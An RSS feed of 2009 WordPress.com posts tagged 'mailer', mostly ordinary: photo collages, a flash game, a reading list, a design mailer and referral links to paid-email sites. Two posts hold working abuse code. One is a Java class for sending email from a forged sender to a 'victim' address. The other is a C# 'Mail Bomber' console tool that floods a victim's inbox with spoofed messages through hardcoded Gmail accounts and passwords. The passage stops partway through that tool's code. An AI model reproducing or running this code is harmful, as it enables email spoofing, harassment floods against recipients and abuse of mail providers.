<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>mailer &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://en.wordpress.com/tag/mailer/</link>
	<description>Feed of posts on WordPress.com tagged "mailer"</description>
	<pubDate>Tue, 08 Dec 2009 05:34:01 +0000</pubDate>

	<generator>http://en.wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[Portrait Collages]]></title>
<link>http://emilybeasley.wordpress.com/2009/12/04/portrait-collages/</link>
<pubDate>Fri, 04 Dec 2009 20:46:25 +0000</pubDate>
<dc:creator>Emily Beasley</dc:creator>
<guid>http://emilybeasley.wordpress.com/2009/12/04/portrait-collages/</guid>
<description><![CDATA[I wanted a clean look for my collages. I don&#8217;t want anything distracting the viewer from my su]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><a style="text-decoration:none;" href="http://emilybeasley.wordpress.com/files/2009/12/justincollagereal1.jpg"><img class="aligncenter size-full wp-image-164" title="JustinCollageREAL" src="http://emilybeasley.wordpress.com/files/2009/12/justincollagereal1.jpg" alt="" width="600" height="300" /></a></p>
<p>I wanted a clean look for my collages. I don&#8217;t want anything distracting the viewer from my subjects&#8217; beautiful faces! They are what it&#8217;s all about.</p>
<p><a href="http://emilybeasley.wordpress.com/files/2009/12/courtneycollage1.jpg"><img class="aligncenter size-full wp-image-159" title="CourtneyCollage" src="http://emilybeasley.wordpress.com/files/2009/12/courtneycollage1.jpg" alt="" width="600" height="300" /></a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mouse Mailer - Puzzle Flash Games]]></title>
<link>http://liwenfeng3.wordpress.com/2009/11/26/mouse-mailer-puzzle-flash-games/</link>
<pubDate>Thu, 26 Nov 2009 09:00:18 +0000</pubDate>
<dc:creator>liwenfeng3</dc:creator>
<guid>http://liwenfeng3.wordpress.com/2009/11/26/mouse-mailer-puzzle-flash-games/</guid>
<description><![CDATA[URL : http://www.flashgame-girl.com/Puzzle-board/Mouse-Mailer.html Game description : PC mouse love ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><a href="http://www.flashgame-girl.com/Puzzle-board/Mouse-Mailer.html" target="_blank"><img style="display:block;text-align:center;cursor:pointer;width:400px;height:300px;margin:0 auto 10px;" src="http://4.bp.blogspot.com/_I0y6zLi7ps8/Sw4_8znIfDI/AAAAAAAABb8/lTGJ2K2Cdd0/s400/Mouse-Mailer.gif" border="0" alt="" /></a><strong><span style="color:#ff6600;"><br />
URL</span></strong><strong><span style="color:#ff6600;"> :</span></strong><strong><span style="color:#ff6600;"> <a href="http://www.flashgame-girl.com/Puzzle-board/Mouse-Mailer.html" target="_blank">http://www.flashgame-girl.com/Puzzle-board/Mouse-Mailer.html</a></span></strong></p>
<p><strong>G</strong><strong><span style="color:#ff6600;">ame description :</span></strong></p>
<p>PC mouse love to stay in touch via email. Can you help him avoid the obstacles  and traverse through the 3 levels of Cyberspace to get this exciting email  through.</p>
<p><strong><span style="color:#ff6600;">Game controls :</span></strong></p>
<p>Use mouse to interact.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bad Weekend but Awesome News Today!!!]]></title>
<link>http://kristensilva.wordpress.com/2009/11/23/bad-weekend-but-awesome-news-today/</link>
<pubDate>Tue, 24 Nov 2009 00:51:11 +0000</pubDate>
<dc:creator>Kristen Silva</dc:creator>
<guid>http://kristensilva.wordpress.com/2009/11/23/bad-weekend-but-awesome-news-today/</guid>
<description><![CDATA[This weekend I went to my first agent workshop.  It was with a well-known, successful children/young]]></description>
<content:encoded><![CDATA[This weekend I went to my first agent workshop.  It was with a well-known, successful children/young]]></content:encoded>
</item>
<item>
<title><![CDATA[PDN's New Postcards = Carrie Schechter]]></title>
<link>http://playswithmatches.wordpress.com/2009/11/09/pdns-new-postcards-carrie-schechter/</link>
<pubDate>Tue, 10 Nov 2009 00:12:29 +0000</pubDate>
<dc:creator>playswithmatches</dc:creator>
<guid>http://playswithmatches.wordpress.com/2009/11/09/pdns-new-postcards-carrie-schechter/</guid>
<description><![CDATA[&quot;The Paino&quot; from The Lovers Story. ©Carrie Schechter. See the whole series on my website u]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><div id="attachment_1121" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.carrieschechterstudios.com/"><img class="size-full wp-image-1121" title="Carrie Schechter PDN mailer" src="http://playswithmatches.wordpress.com/files/2009/11/pdn.jpg" alt="Carrie Schechter PDN mailer" width="500" height="643" /></a><p class="wp-caption-text">&#34;The Paino&#34; from The Lovers Story. ©Carrie Schechter. See the whole series on my website under fashion/stories.</p></div>
<p>Just received my copy of the newest marketing campaign for PDN&#8217;s (Photo District News) Photoserve!! I was thrilled when they asked me a few months ago if they could run my image. I joined Photoserve 2 years ago, they featured me as photographer of the week in the first year which resulted in a surge of visits to my website, I didn&#8217;t even think twice at another wonderful opportunity. Thank you PDN!!</p>
<p><a href="http://www.pdnonline.com/pdn/photoserve/portfolio-rates/article_display.jsp" target="_blank"><strong>Find out all about PDN and Photoserve here.</strong></a></p>
<p><a href="http://www.carrieschechterstudios.com/" target="_blank"><strong>My official site.</strong></a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[10 Books that made my world]]></title>
<link>http://charliejackjosephkruger.wordpress.com/2009/11/05/10book/</link>
<pubDate>Thu, 05 Nov 2009 08:19:30 +0000</pubDate>
<dc:creator>charliejackjosephkruger</dc:creator>
<guid>http://charliejackjosephkruger.wordpress.com/2009/11/05/10book/</guid>
<description><![CDATA[so i saw this online recently, and i decided that i should do a similar thing. 10 books that changed]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>so i saw this online recently, and i decided that i should do a similar thing.</p>
<p>10 books that changed my life and will forever stay in my mind.</p>
<p>of mice and men by john Steinbeck</p>
<p>this book is more than just a story. to me it was the way i discovered way more about myself and the way i deal with people than i felt comfortable knowing. the story is so perfectly and fully american. the feeling of honor and comfort clashing at every turn, and most of all the need to destroy the most beautiful parts of life. i cant read this book without a tear to this day.<br />
rage by richard bachman (stephen king)</p>
<p>i really got into this book when i was about 12. i have re-read it countless times since and it always evokes a very strong and very personal reaction. there is something about the writing. it feels like a sloppy book by a teenage boy. it has all the fury, all the agony, and well&#8230; all the rage that it should. i&#8217;m sad that it is out of print, it is without a doubt my favorite book by him.</p>
<p>the man who would be king by rudyard kipling</p>
<p>magic lives in between the words of every rudyard kipling story. i can remember sitting in my grandfather&#8217;s house when i was only 10 and watching the movie version of this story. i can remember not understanding a thing. and i remember the way he watched the film. he was one of the smartest men ever to walk this earth, and when he watched this movie he didnt make a sound. he just sat there, in awe. i knew that meant it was good. so i remember watching it with him. in perfect silence. this is another story i have read and re-read, and every time i do i like it more. and i identify with it more. this story is magic.</p>
<p>the great gatsby by f. scott fitzgerald</p>
<p>i have beaten myself up countless times about how closely this book follows parts of my life. i know everyone who wants to sound deep says something like &#8216;i am gatsby&#8217;&#8230; but damn. i am. or at least, i was. this is without a doubt one of the best and most important books ever written.</p>
<p>the naked and the dead by norman mailer</p>
<p>norman mailer is the man&#8217;s writer. his stories are grizzled and masculine in ways that structured words cant describe. i have never met a real man who didnt like his work. but interestingly enough i have met countless women who hate it. i like to describe him as the serious three stooges. only guys get it. when i first read this book i couldnt believe it. his words are written in cold ink. and i understand every one of them.</p>
<p>old man and the sea by ernest Hemingway</p>
<p>this book is a &#8216;how to&#8217; of how to be a man. id like to say that i have taken it to heart&#8230;<br />
death of a salesman by Arthur miller</p>
<p>this book is way to personal to go into here. i just hope that im not as similar to Willy as i feel sometimes.<br />
dune by frank herbert</p>
<p>the scifi novel at its greatest. this book has everything that a &#8216;normal respectable&#8217; genre book has and more. the almost biblical tones and the messianic imagery alone makes this book a classic. and as if that wasnt enough, Gurney Halleck is the single greatest man in world literature. take that Beowulf!</p>
<p>the minister&#8217;s black veil by nate Hawthorne</p>
<p>this is another book that gave me something to point to. it was something i could reference to explain another little bit of myself.</p>
<p>our town by thornton wilder</p>
<p>this book/play has influenced my own storytelling more than anything else i can think of. the way it tells a somber tale but does it with just enough whimsy is the archetypal story in my mind. i cant imagine my own writing with out this book.</p>
<p>i only picked one book from each author. if i hadnt the list may have well ended up being all Steinbeck and Hemingway, with gatsby nailed in there as well&#8230;</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mailer ]]></title>
<link>http://gmayesdesign.wordpress.com/2009/10/30/mailer/</link>
<pubDate>Fri, 30 Oct 2009 12:52:39 +0000</pubDate>
<dc:creator>gmayesdesign</dc:creator>
<guid>http://gmayesdesign.wordpress.com/2009/10/30/mailer/</guid>
<description><![CDATA[Little mailer I created for myself, ties in with the new look of my website.]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Little mailer I created for myself, ties in with the new look of my website.</p>
<p><img class="aligncenter size-medium wp-image-28" title="own_mailer2" src="http://gmayesdesign.wordpress.com/files/2009/10/own_mailer2.jpg?w=291" alt="own_mailer2" width="291" height="300" /><img class="aligncenter size-medium wp-image-29" title="own_mailer" src="http://gmayesdesign.wordpress.com/files/2009/10/own_mailer1.jpg?w=300" alt="own_mailer" width="300" height="225" /></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Governmental Abuse Of Power - CMS Issues Gag Order To Medicare Advantage Provider Humana]]></title>
<link>http://conservativewanderer.wordpress.com/2009/09/22/governmental-abuse-of-power-cms-issues-gag-order-to-medicare-advantage-provider-humana/</link>
<pubDate>Wed, 23 Sep 2009 02:23:35 +0000</pubDate>
<dc:creator>wapiti307</dc:creator>
<guid>http://conservativewanderer.wordpress.com/2009/09/22/governmental-abuse-of-power-cms-issues-gag-order-to-medicare-advantage-provider-humana/</guid>
<description><![CDATA[Max Baucus (D-MT) is enraged at Medicare Advantage provider Humana for exposing language in America]]></description>
<content:encoded><![CDATA[Max Baucus (D-MT) is enraged at Medicare Advantage provider Humana for exposing language in America]]></content:encoded>
</item>
<item>
<title><![CDATA[Clase para Enviar Correos desde Java [JavaMail]]]></title>
<link>http://pablovidela.wordpress.com/2009/09/20/clase-para-enviar-correos-desde-java-javamail/</link>
<pubDate>Sun, 20 Sep 2009 04:54:16 +0000</pubDate>
<dc:creator>Pablo Videla</dc:creator>
<guid>http://pablovidela.wordpress.com/2009/09/20/clase-para-enviar-correos-desde-java-javamail/</guid>
<description><![CDATA[Clase Creada para enviar Correos desde Java usando la libreria JavaMail que la pueden descargar desd]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Clase Creada para enviar Correos desde Java usando<br />
la libreria JavaMail que la pueden<br />
descargar desde aqui:<br />
<a href="http://uploading.com/files/G8CGMCIG/javamail-1.4.2.zip.html"><strong>DESCARGAR</strong></a></p>
<pre class="brush: java;">
/*

* Autor: Pablo Videla
* Fecha: 21/07/2009 18:14
*/

package Mail;
import java.util.Properties;

import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.swing.JOptionPane;

public class Mail
{
private String host;
private String usuario;
private String password;
private String puerto;
private String auth; //boolean
private String conexionSegura; // boolean
private String CorreoVictima;
private String CorreoFalso;
private String nombreFalso;
private String mensaje;
private String asunto;
public Mail()// constructor sin parametros
{
}
// constructor con todos los parametros
public Mail(String host, String usuario, String password, String puerto, String auth, String conexionSegura, String CorreoVictima, String CorreoFalso, String nombreFalso, String mensaje,String asunto) {
this.host = host;
this.usuario = usuario;
this.password = password;
this.puerto = puerto;
this.auth = auth;
this.conexionSegura = conexionSegura;
this.CorreoVictima = CorreoVictima;
this.CorreoFalso = CorreoFalso;
this.nombreFalso = nombreFalso;
this.mensaje = mensaje;
this.asunto = asunto;

}
// constructor sin el nombre falso
public Mail(String host, String usuario, String password, String puerto, String auth, String conexionSegura, String CorreoVictima, String CorreoFalso, String mensaje,String asunto) {
this.host = host;
this.usuario = usuario;
this.password = password;
this.puerto = puerto;
this.auth = auth;
this.conexionSegura = conexionSegura;
this.CorreoVictima = CorreoVictima;
this.CorreoFalso = CorreoFalso;
this.mensaje = mensaje;
this.asunto = asunto;
}
// constructor sin el correo y el nombre falso
public Mail(String host, String usuario, String password, String puerto, String auth, String conexionSegura, String CorreoVictima, String mensaje,String asunto) {
this.host = host;
this.usuario = usuario;
this.password = password;
this.puerto = puerto;
this.auth = auth;
this.conexionSegura = conexionSegura;
this.CorreoVictima = CorreoVictima;
this.mensaje = mensaje;
this.asunto = asunto;
}
public String getAsunto()
{
return asunto;
}
public void enviarMensaje()
{
try
{
// Propiedades de la conexión
Properties props = new Properties();
props.setProperty(&#34;mail.smtp.host&#34;,&#34;&#34;+ getHost()); // host del server
props.setProperty(&#34;mail.smtp.starttls.enable&#34;,&#34;&#34;+ getConexionSegura());//seguridad?
props.setProperty(&#34;mail.smtp.port&#34;, &#34;&#34;+getPuerto());// puerto en mi caso 25
props.setProperty(&#34;mail.smtp.user&#34;,&#34;&#34;+ getUsuario());//cualquier cosa
props.setProperty(&#34;mail.smtp.auth&#34;, getAuth());//no necesita identifiacion

// Preparamos la sesion
Session session = Session.getDefaultInstance(props);
// Construimos el mensaje
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress(&#34;&#34;+getCorreoFalso()));

message.addRecipient(
Message.RecipientType.TO,
new InternetAddress(&#34;&#34;+getCorreoVictima()));
message.setSubject(&#34;&#34;+getAsunto());
// message.setContent(&#34;&#34;+getMensaje(),&#34;text/ht &#34;);
message.setHeader(&#34;text/html&#34;,&#34;charset=iso-8859-1&#34;);
message.setContent(getMensaje(),&#34;text/html; charset=iso-8859-1&#34;);

// Lo enviamos.
Transport t = session.getTransport(&#34;smtp&#34;);
//  t.connect(&#34;127.0.0.1&#34;, null, null);
// t.connect(&#34;localhost&#34;,null,null);
t.connect(&#34;&#34;+getUsuario(),&#34;&#34;+getPassword());
//   for(int i=0;i&#38;amp;amp;lt;5;i++){
t.sendMessage(message,message.getAllRecipients());//funciona con ciclos
JOptionPane.showMessageDialog(null, &#34;¡Enviado Correctamente a &#34;+getCorreoVictima()+&#34; !&#34;);
//   }
// Cierre.
t.close();
}
catch (Exception e)
{
e.printStackTrace();
// e.getMessage();
JOptionPane.showMessageDialog(null, &#34;Error ... &#34;+ e.getMessage());
}
}

public String getCorreoFalso() {
return CorreoFalso;
}

public void setCorreoFalso(String CorreoFalso) {
this.CorreoFalso = CorreoFalso;
}

public String getCorreoVictima() {
return CorreoVictima;
}

public void setCorreoVictima(String CorreoVictima) {
this.CorreoVictima = CorreoVictima;
}

public String getAuth() {
return auth;
}

public void setAuth(String auth) {
this.auth = auth;
}

public String getConexionSegura() {
return conexionSegura;
}

public void setConexionSegura(String conexionSegura) {
this.conexionSegura = conexionSegura;
}

public String getHost() {
return host;
}

public void setHost(String host) {
this.host = host;
}

public String getMensaje() {
return mensaje;
}

public void setMensaje(String mensaje) {
this.mensaje = mensaje;
}

public String getNombreFalso() {
return nombreFalso;
}

public void setNombreFalso(String nombreFalso) {
this.nombreFalso = nombreFalso;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}

public String getPuerto() {
return puerto;
}

public void setPuerto(String puerto) {
this.puerto = puerto;
}

public String getUsuario() {
return usuario;
}

public void setUsuario(String usuario) {
this.usuario = usuario;
}

}
</pre>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Geld für`s lesen von E-Mails]]></title>
<link>http://ptshopping.wordpress.com/2009/09/18/geld-furs-lesen-von-e-mails/</link>
<pubDate>Fri, 18 Sep 2009 11:01:24 +0000</pubDate>
<dc:creator>ptshopping</dc:creator>
<guid>http://ptshopping.wordpress.com/2009/09/18/geld-furs-lesen-von-e-mails/</guid>
<description><![CDATA[Jo, hier listen wir Euch einige Homepages auf, wo Ihr Euch nur anmelden müsst und dann per E-Mail We]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Jo, hier listen wir Euch einige Homepages auf, wo Ihr Euch nur anmelden müsst und dann per E-Mail Werbung bekommt, die Ihr nur anklicken braucht und dann etwa 1-3 Cent pro Mail bekommt! Wir haben uns bei ALLEN Seiten angemeldet und erhalten so für 30 Minuten rund 7,50€, das ist schon ein sehr guter Stundenlohn! Also hier die Links liebe PT-Community:</p>
<p>- <a href="http://www.we-earn.de/?refid=2254">We-earn</a><br />
- <a href="http://www.mostwanted-mailer.de/?refid=1575">MostWanted-Mailer</a><br />
- <a href="http://www.profitmails.de/?refid=103857">ProfitMails</a><br />
- <a href="http://www.starmailer.de/?refid=20774">StarMailer</a><br />
- <a href="http://www.mailzeit.de/?refid=17351">MailZeit</a><br />
- <a href="http://www.cashreading.de/?refid=35466">CashReading</a></p>
<p>Also meldet Euch schnell an und verdient Euch so ein paar €uros dazu&#8230;</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mail Bomber en C# Modo consola]]></title>
<link>http://estebanfuentealba.wordpress.com/2009/09/14/mail-bomber-en-c-modo-consola/</link>
<pubDate>Mon, 14 Sep 2009 21:36:36 +0000</pubDate>
<dc:creator>estebanfuentealba</dc:creator>
<guid>http://estebanfuentealba.wordpress.com/2009/09/14/mail-bomber-en-c-modo-consola/</guid>
<description><![CDATA[Este es un mail bomber que hice cuando recien estaba aprendiendo a programar en c# asi que es un cao]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Este es un mail bomber que hice cuando recien estaba aprendiendo a programar en c#</p>
<p>asi que  es un caos de codigo&#8230; aqui le dejo la clase correo</p>
<p>y las cuentas  mandaba a un amigo que se creo como 20 cuentas de gmail ajajjajajaj xD al final la bloquearon todas por abusar del servicio XDDD!! asi que tomen esto como ejemplo , por que asi tal como esta, no les funcionaran&#8230;.</p>
<pre class="brush: csharp;">

using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Net;
namespace mailer
{
class ClsCorreo
{

public string EnviarCorreo(string para, string titulo, string contenido,string de,string nombre)
{

System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(de, nombre, System.Text.Encoding.UTF8);
msg.S	ubject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential(&#34;usuario&#34;, &#34;pass&#34;);
client.Port = 25;
client.Host = &#34;127.0.0.1&#34;;
client.EnableSsl = false;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine(&#34;Error &#34; + ex);
}
return &#34;&#34;;
}
public string send(string para, string titulo, string contenido,string de,string namefalso)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(de, namefalso, System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential();
client.Port = 25;
client.Host = &#34;127.0.0.1&#34;;
client.EnableSsl = false;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine(&#34;Error &#34; + ex);
}
return &#34;&#34;;
}
public string EnviarCorreo3(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(&#34;mail@forward.com&#34;, &#34;MailerBot 591&#34;, System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential(&#34;mailbomber591&#34;, &#34;a123456789&#34;);
client.Port = 587;
client.Host = &#34;smtp.gmail.com&#34;;
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine(&#34;Error &#34; + ex);
}
return &#34;&#34;;
}
public string EnviarCorreo2(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(&#34;mail@forward.com&#34;, &#34;MailerBot 59&#34;, System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential(&#34;mailbomber59&#34;, &#34;a123456789&#34;);
client.Port = 587;
client.Host = &#34;smtp.gmail.com&#34;;
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine(&#34;Error &#34; + ex);
}
return &#34;&#34;;
}
public string EnviarCorreo4(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(&#34;mail@forward.com&#34;, &#34;MailerBot 592&#34;, System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential(&#34;mailbomber592&#34;, &#34;a123456789&#34;);
client.Port = 587;
client.Host = &#34;smtp.gmail.com&#34;;
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine(&#34;Error &#34; + ex);
}
return &#34;&#34;;
}
public string EnviarCorreo5(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(&#34;mail@forward.com&#34;, &#34;MailerBot 3000&#34;, System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential(&#34;mailerbot3000&#34;, &#34;a123456789&#34;);
client.Port = 587;
client.Host = &#34;smtp.gmail.com&#34;;
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine(&#34;Error &#34; + ex);
}
return &#34;&#34;;
}
public string EnviarCorreo6(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(&#34;mail@forward.com&#34;, &#34;MailerBot 592&#34;, System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential(&#34;mailbomber593&#34;, &#34;a123456789&#34;);
client.Port = 587;
client.Host = &#34;smtp.gmail.com&#34;;
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine(&#34;Error &#34; + ex);
}
return &#34;&#34;;
}
public string EnviarCorreo7(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(&#34;mail@forward.com&#34;, &#34;MailerBot 592&#34;, System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential(&#34;mailbomber594&#34;, &#34;a123456789&#34;);
client.Port = 587;
client.Host = &#34;smtp.gmail.com&#34;;
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine(&#34;Error &#34; + ex);
}
return &#34;&#34;;
}
public string EnviarCorreo8(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(&#34;mail@forward.com&#34;, &#34;MailerBot 592&#34;, System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential(&#34;mailbomber595&#34;, &#34;a123456789&#34;);
client.Port = 587;
client.Host = &#34;smtp.gmail.com&#34;;
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine(&#34;Error &#34; + ex);
}
return &#34;&#34;;
}
}
}
</pre>
<p>Y la clase main (Repito , el codigo es una $%%#&#8221;#$)</p>
<pre class="brush: csharp;">

using System;
using System.Collections.Generic;
using System.Text;

namespace mailer
{
class Program
{
static void Main(String[] args)
{
ClsCorreo mail = new ClsCorreo();
int i,opcion;

do
{
Console.WriteLine(&#34; ********  Mail Bomber Anonymous By Pablo Videla ********&#34;);
Console.WriteLine(&#34;1.- Enviar correo con MailBomber2009&#34;);
Console.WriteLine(&#34;2.- Enviar correo con su mail personal&#34;);
Console.WriteLine(&#34;3.- Enviar correo con smpt localhost&#34;);
Console.WriteLine(&#34;4.- Enviar mail con mailbomber59&#34;);
Console.WriteLine(&#34;5.- Enviar mail con mailbomber 591&#34;);
Console.WriteLine(&#34;6.- Enviar mail con mailBomber 592&#34;);
Console.WriteLine(&#34;7.- Enviar mail con bomber 3000&#34;);
Console.WriteLine(&#34;8.- Enviar mail con bomber 593&#34;);
Console.WriteLine(&#34;9.- Enviar mail con bomber 594&#34;);
Console.WriteLine(&#34;10.- Enviar mail con bomber 595&#34;);
Console.WriteLine(&#34;11.- Salir&#34;);

opcion = int.Parse(Console.ReadLine());

switch (opcion)
{
case 1:
try
{
Console.WriteLine(&#34;Ingrese mail de la victima&#34;);
string m = Console.ReadLine();
Console.WriteLine(&#34;Ingrese nombre falso&#34;);
string nombre = Console.ReadLine();
Console.WriteLine(&#34;Ingrese mail falso&#34;);
string de = Console.ReadLine();
Console.WriteLine(&#34;Ingrese asunto&#34;);
string asunto = Console.ReadLine();
Console.WriteLine(&#34;Escriba el mensaje&#34;);
string mensaje = Console.ReadLine();
Console.WriteLine(&#34;Ingrese la cantidad&#34;);
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i &#60; cantidad; i++)
{
mail.EnviarCorreo(m, asunto, mensaje,de,nombre);
Console.WriteLine(&#34;Vas en el mail [&#34;+i+&#34;]&#34;);
}
Console.WriteLine(&#34;El Correo Ha sido enviado correctamente &#34; + i + &#34; veces&#34;);
}
catch (Exception errorrr)
{
Console.WriteLine(&#34;Error intente nuevamente &#34; + errorrr);
}
break;

case 2:
Console.WriteLine(&#34;Pronto...&#34;);
break;
case 3:
/* try
{
Console.WriteLine(&#34;Ingrese mail de la victima&#34;);
string m = Console.ReadLine();
Console.WriteLine(&#34;Ingrese asunto&#34;);
string asunto = Console.ReadLine();
Console.WriteLine(&#34;Escriba el mensaje&#34;);
string mensaje = Console.ReadLine();
Console.WriteLine(&#34;Ingrese la cantidad&#34;);
int cantidad = int.Parse(Console.ReadLine());
Console.WriteLine(&#34;Mail falso&#34;);
string de = Console.ReadLine();
Console.WriteLine(&#34;Nombre falso&#34;);
string nombrefalso = Console.ReadLine();
for (i = 0; i &#60; cantidad; i++)
{
mail.send(m, asunto, mensaje,de,nombrefalso);
}
Console.WriteLine(&#34;El Correo Ha sido enviado correctamente &#34; + i + &#34; veces&#34;);
}
catch (Exception errorrr)
{
Console.WriteLine(&#34;Error intente nuevamente &#34; + errorrr);
}*/
Console.WriteLine(&#34;Pronto.. en la nueva version&#34;);
break;
case 4:
try
{
Console.WriteLine(&#34;Ingrese mail de la victima&#34;);
string m = Console.ReadLine();
Console.WriteLine(&#34;Ingrese asunto&#34;);
string asunto = Console.ReadLine();
Console.WriteLine(&#34;Escriba el mensaje&#34;);
string mensaje = Console.ReadLine();
Console.WriteLine(&#34;Ingrese la cantidad&#34;);
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i &#60; cantidad; i++)
{
mail.EnviarCorreo2(m, asunto, mensaje);
Console.WriteLine(&#34;Vas en el mail [&#34; + i + &#34;]&#34;);
}
Console.WriteLine(&#34;El Correo Ha sido enviado correctamente &#34; + i + &#34; veces&#34;);
}
catch (Exception errorrr)
{
Console.WriteLine(&#34;Error intente nuevamente &#34; + errorrr);
}
break;
case 5:
try
{
Console.WriteLine(&#34;Ingrese mail de la victima&#34;);
string m = Console.ReadLine();
Console.WriteLine(&#34;Ingrese asunto&#34;);
string asunto = Console.ReadLine();
Console.WriteLine(&#34;Escriba el mensaje&#34;);
string mensaje = Console.ReadLine();
Console.WriteLine(&#34;Ingrese la cantidad&#34;);
